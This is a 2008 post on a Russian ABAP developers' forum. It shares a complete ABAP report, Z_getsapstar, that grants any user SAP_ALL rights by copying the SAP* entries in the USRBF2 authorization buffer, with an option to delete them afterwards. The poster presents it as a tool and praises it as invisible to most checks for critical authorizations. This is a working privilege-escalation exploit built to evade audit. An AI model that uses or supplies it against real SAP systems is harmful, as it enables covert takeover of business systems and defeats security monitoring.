SAP R/3 форум ABAP консультантов
Russian ABAP Developer's Club

Home - FAQ - Search - Memberlist - Usergroups - Profile - Log in to check your private messages - Register - Log in - English
Blogs - Weblogs News

Getting sap_all authorizations



 
Post new topic   Reply to topic    Russian ABAP Developer's Club Forum Index -> Security and Monitoring
View previous topic :: View next topic  
Author Message
admin
Администратор
Администратор



Joined: 01 Sep 2007
Posts: 1640

PostPosted: Sun Mar 02, 2008 1:24 pm    Post subject: Getting sap_all authorizations Reply with quote

Getting a little more authorizations
Original: geocities.com/krapinskij/abap.htm#_Getting_a_little_bit_more_authoriza

There are several programs in the internet to get SAP* authorizations.
Here you find my own version.

Code:
*
*Copyright (C) 2005  Krapinskij ([email protected])
*
*This program is free software; you can redistribute it and/or
*modify it under the terms of the GNU General Public License
*as published by the Free Software Foundation; either version 2
*of the License, or (at your option) any later version.
*
*This program is distributed in the hope that it will be useful,
*but WITHOUT ANY WARRANTY; without even the implied warranty of
*MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*GNU General Public License for more details.
*
*You should have received a copy of the GNU General Public License
*along with this program; if not, write to the Free Software
*Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA
*
*&---------------------------------------------------------------------*
*& Report  Z_getsapstar
*&                                                                     *
*&---------------------------------------------------------------------*
*&                                                                     *
*&                                                                     *
*&---------------------------------------------------------------------*

REPORT  Z_getsapstar                            .

PARAMETERS clean TYPE boole_d AS CHECKBOX.
PARAMETERS uname TYPE sy-uname.
PARAMETERS mandt TYPE sy-mandt DEFAULT '010'.

IF uname IS INITIAL.
  uname = sy-uname.
ENDIF.

DATA zusr04 LIKE usr04 .
DATA zust04 LIKE ust04 .
DATA zprofs  LIKE usr04-profs.
DATA zusrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE.


IF clean IS INITIAL.
  SELECT *  FROM  usrbf2 CLIENT SPECIFIED
     INTO TABLE zusrbf2
        WHERE mandt = mandt AND
            bname = 'SAP*' AND
            auth = '&_SAP_ALL' .
  IF sy-subrc NE 0.
    WRITE: / 'Nothing found in this client. Try another'.
    EXIT.
  ENDIF.
  LOOP AT zusrbf2.
    zusrbf2-bname = uname.
    MODIFY zusrbf2 INDEX sy-tabix TRANSPORTING bname.
  ENDLOOP.
  INSERT usrbf2 FROM TABLE zusrbf2 ACCEPTING DUPLICATE KEYS.
ELSE.
  DELETE FROM usrbf2 WHERE bname = uname AND
                      auth  = '&_SAP_ALL'.
ENDIF.

The nice thing is that it does not change the user profile, but only the user buffer for authorization. So it is invisible to most programs checking users for critical authorizations.
Back to top
View user's profile Send private message
Display posts from previous:   
Post new topic   Reply to topic    Russian ABAP Developer's Club Forum Index -> Security and Monitoring All times are GMT + 4 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


All product names are trademarks of their respective companies. SAPNET.RU websites are in no way affiliated with SAP AG.
SAP, SAP R/3, R/3 software, mySAP, ABAP, BAPI, xApps, SAP NetWeaver and any other are registered trademarks of SAP AG.
Every effort is made to ensure content integrity. Use information on this site at your own risk.